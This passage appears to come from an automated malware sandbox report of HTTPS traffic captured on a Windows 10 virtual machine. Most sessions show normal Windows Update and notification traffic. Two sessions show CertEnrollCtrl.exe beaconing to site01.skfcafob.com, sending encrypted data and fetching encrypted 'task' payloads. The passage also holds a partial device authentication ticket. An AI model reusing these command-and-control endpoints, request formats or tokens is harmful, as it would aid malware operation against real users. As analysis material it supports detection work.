3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-18 23:33:13 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 55 51 37 37 53 43 42 4e 76 30 47 38 77 76 6e 7a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 30 32 32 63 39 30 30 61 31 32 31 63 65 35 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 39 63 4d 61 52 58 6b 53 4d 77 64 37 59 6c 71 59 32 61 4e 69 78 54 73 51 7a 77 78 4b 38 5a 55 41 6f 6d 4f 74 6d 78 4f 58 32 7a 50 57 75 37 78 58 45 4d 61 4a 45 51 63 39 73 51 75 36 6c 38 34 42 33 6b 52 58 33 2b 76 58 35 51 47 4a 4a 65 57 77 47 74 79 4e 51 64 54 6f 42 4a 6e 55 64 63 70 55 53 54 67 38 78 6e 4c 4d 78 38 65 66 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: UQ77SCBNv0G8wvnz.2Context: e022c900a121ce54<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZ9cMaRXkSMwd7YlqY2aNixTsQzwxK8ZUAomOtmxOX2zPWu7xXEMaJEQc9sQu6l84B3kRX3+vX5QGJJeWwGtyNQdToBJnUdcpUSTg8xnLMx8ef
2024-04-18 23:33:13 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 55 51 37 37 53 43 42 4e 76 30 47 38 77 76 6e 7a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 30 32 32 63 39 30 30 61 31 32 31 63 65 35 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: UQ77SCBNv0G8wvnz.3Context: e022c900a121ce54<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-18 23:33:13 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-18 23:33:13 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 7a 4a 63 47 68 46 58 32 6a 45 36 6c 46 35 46 6f 75 54 56 54 5a 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: zJcGhFX2jE6lF5FouTVTZQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49722	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 23:33:17 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=yAkzWxMlToUhGeV&MD=6sbOoHXV HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-18 23:33:17 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: cb5d489e-5e41-4f7f-aac7-981e707f627a MS-RequestId: 8924ca07-31f9-417c-bad4-623324b8a996 MS-CV: uK/otx22HEmbEETb.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 18 Apr 2024 23:33:16 GMT Connection: close Content-Length: 24490
2024-04-18 23:33:17 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-18 23:33:17 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49727	52.159.126.152	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 23:33:23 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6d 44 79 56 69 48 30 43 2b 30 57 62 66 39 73 55 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 66 36 36 34 31 31 63 30 62 31 31 32 64 31 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: mDyViH0C+0Wbf9sU.1Context: ff66411c0b112d1c
2024-04-18 23:33:23 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-18 23:33:23 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 6d 44 79 56 69 48 30 43 2b 30 57 62 66 39 73 55 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 66 36 36 34 31 31 63 30 62 31 31 32 64 31 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 39 63 4d 61 52 58 6b 53 4d 77 64 37 59 6c 71 59 32 61 4e 69 78 54 73 51 7a 77 78 4b 38 5a 55 41 6f 6d 4f 74 6d 78 4f 58 32 7a 50 57 75 37 78 58 45 4d 61 4a 45 51 63 39 73 51 75 36 6c 38 34 42 33 6b 52 58 33 2b 76 58 35 51 47 4a 4a 65 57 77 47 74 79 4e 51 64 54 6f 42 4a 6e 55 64 63 70 55 53 54 67 38 78 6e 4c 4d 78 38 65 66 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: mDyViH0C+0Wbf9sU.2Context: ff66411c0b112d1c<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZ9cMaRXkSMwd7YlqY2aNixTsQzwxK8ZUAomOtmxOX2zPWu7xXEMaJEQc9sQu6l84B3kRX3+vX5QGJJeWwGtyNQdToBJnUdcpUSTg8xnLMx8ef
2024-04-18 23:33:23 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6d 44 79 56 69 48 30 43 2b 30 57 62 66 39 73 55 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 66 36 36 34 31 31 63 30 62 31 31 32 64 31 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: mDyViH0C+0Wbf9sU.3Context: ff66411c0b112d1c<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-18 23:33:23 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-18 23:33:23 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 57 32 4c 71 44 5a 50 41 4a 55 6d 72 47 66 45 4c 58 45 45 54 31 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: W2LqDZPAJUmrGfELXEET1A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49734	23.248.236.58	443	7124	C:\Windows\SysWOW64\CertEnrollCtrl.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 23:33:36 UTC	291	OUT	POST /index/download/notice HTTP/1.1 Connection: Keep-Alive Content-Type: application/json;charset=UTF-8 User-Agent: User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36 Content-Length: 75 Host: site01.skfcafob.com
2024-04-18 23:33:36 UTC	75	OUT	Data Raw: 7b 22 64 61 74 61 22 3a 22 2b 66 4e 59 79 57 62 4b 45 62 63 4a 4a 4a 46 44 54 2b 43 38 36 6c 39 47 4c 4e 73 73 4a 63 70 43 59 79 64 61 62 35 6d 70 73 34 79 4e 70 69 41 65 76 77 74 53 70 4d 52 54 53 2f 67 55 72 58 67 6b 22 7d Data Ascii: {"data":"+fNYyWbKEbcJJJFDT+C86l9GLNssJcpCYydab5mps4yNpiAevwtSpMRTS/gUrXgk"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49735	52.159.126.152	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 23:33:36 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4d 38 77 4d 73 50 49 41 70 6b 65 73 50 6f 50 7a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 33 38 66 34 37 30 66 61 32 33 36 39 31 32 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: M8wMsPIApkesPoPz.1Context: f38f470fa2369122
2024-04-18 23:33:36 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-18 23:33:36 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 4d 38 77 4d 73 50 49 41 70 6b 65 73 50 6f 50 7a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 33 38 66 34 37 30 66 61 32 33 36 39 31 32 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 39 63 4d 61 52 58 6b 53 4d 77 64 37 59 6c 71 59 32 61 4e 69 78 54 73 51 7a 77 78 4b 38 5a 55 41 6f 6d 4f 74 6d 78 4f 58 32 7a 50 57 75 37 78 58 45 4d 61 4a 45 51 63 39 73 51 75 36 6c 38 34 42 33 6b 52 58 33 2b 76 58 35 51 47 4a 4a 65 57 77 47 74 79 4e 51 64 54 6f 42 4a 6e 55 64 63 70 55 53 54 67 38 78 6e 4c 4d 78 38 65 66 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: M8wMsPIApkesPoPz.2Context: f38f470fa2369122<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZ9cMaRXkSMwd7YlqY2aNixTsQzwxK8ZUAomOtmxOX2zPWu7xXEMaJEQc9sQu6l84B3kRX3+vX5QGJJeWwGtyNQdToBJnUdcpUSTg8xnLMx8ef
2024-04-18 23:33:36 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4d 38 77 4d 73 50 49 41 70 6b 65 73 50 6f 50 7a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 33 38 66 34 37 30 66 61 32 33 36 39 31 32 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: M8wMsPIApkesPoPz.3Context: f38f470fa2369122<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-18 23:33:36 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-18 23:33:36 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 44 4b 53 41 71 36 4f 6f 45 69 6d 5a 76 35 2f 48 64 41 7a 4a 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: tDKSAq6OoEimZv5/HdAzJQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49736	23.248.236.58	443	7124	C:\Windows\SysWOW64\CertEnrollCtrl.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 23:33:37 UTC	291	OUT	POST /index/download/task HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36 Content-Length: 9 Host: site01.skfcafob.com
2024-04-18 23:33:37 UTC	9	OUT	Data Raw: 63 6f 64 65 3d 32 35 34 32 Data Ascii: code=2542
2024-04-18 23:33:37 UTC	210	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 18 Apr 2024 23:33:37 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000
2024-04-18 23:33:37 UTC	593	IN	Data Raw: 32 34 35 0d 0a 7b 22 63 6f 64 65 22 3a 30 2c 22 64 61 74 61 22 3a 7b 22 64 61 74 61 22 3a 22 2b 38 68 53 45 5a 61 32 72 30 6e 55 49 35 31 4e 51 63 52 68 6d 46 62 69 37 79 77 66 59 63 64 51 34 64 54 48 4e 45 4a 62 34 6a 4a 35 49 4c 48 4c 71 63 77 75 6e 77 45 76 74 35 50 74 79 45 54 7a 65 71 39 63 79 52 43 77 59 58 4a 4c 44 6f 31 37 38 35 67 30 39 4a 49 5a 66 37 77 71 44 35 58 52 66 35 4b 72 2b 7a 45 6a 47 47 4c 62 2b 39 52 75 38 70 6c 58 76 4b 62 30 64 6b 46 63 55 54 6a 44 44 5c 2f 79 36 61 5c 2f 68 68 39 65 68 65 41 66 6c 52 69 75 52 32 79 68 49 55 76 75 4d 56 6f 31 55 5a 4f 47 41 77 6b 5a 4c 61 55 43 42 49 57 30 46 72 4b 59 42 44 59 43 68 50 74 33 67 64 32 4b 49 53 74 77 39 4a 69 74 4f 38 69 48 61 49 52 68 76 2b 77 34 52 65 6b 33 56 68 54 33 4b 47 4d 68 Data Ascii: 245{"code":0,"data":{"data":"+8hSEZa2r0nUI51NQcRhmFbi7ywfYcdQ4dTHNEJb4jJ5ILHLqcwunwEvt5PtyETzeq9cyRCwYXJLDo1785g09JIZf7wqD5XRf5Kr+zEjGGLb+9Ru8plXvKb0dkFcUTjDD\/y6a\/hh9eheAflRiuR2yhIUvuMVo1UZOGAwkZLaUCBIW0FrKYBDYChPt3gd2KIStw9JitO8iHaIRhv+w4Rek3VhT3KGMh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49741	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 23:33:55 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=yAkzWxMlToUhGeV&MD=6sbOoHXV HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-18 23:33:55 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 7d0ee0ce-aeed-47a7-a4ed-ddb9fb0aea04 MS-RequestId: 8ec1078f-b1ff-4f7a-b9f2-134ec39da460 MS-CV: gcU/F40s/UWFUcyE.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 18 Apr 2024 23:33:54 GMT Connection: close Content-Length: 25457
2024-04-18 23:33:55 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-18 23:33:55 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49742	52.159.126.152	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 23:33:56 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 2f 4f 47 5a 68 37 76 52 30 55 2b 7a 67 2b 61 46 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 64 32 37 35 39 39 36 31 66 64 34 62 62 66 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: /OGZh7vR0U+zg+aF.1Context: 4d2759961fd4bbf4
2024-04-18 23:33:56 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
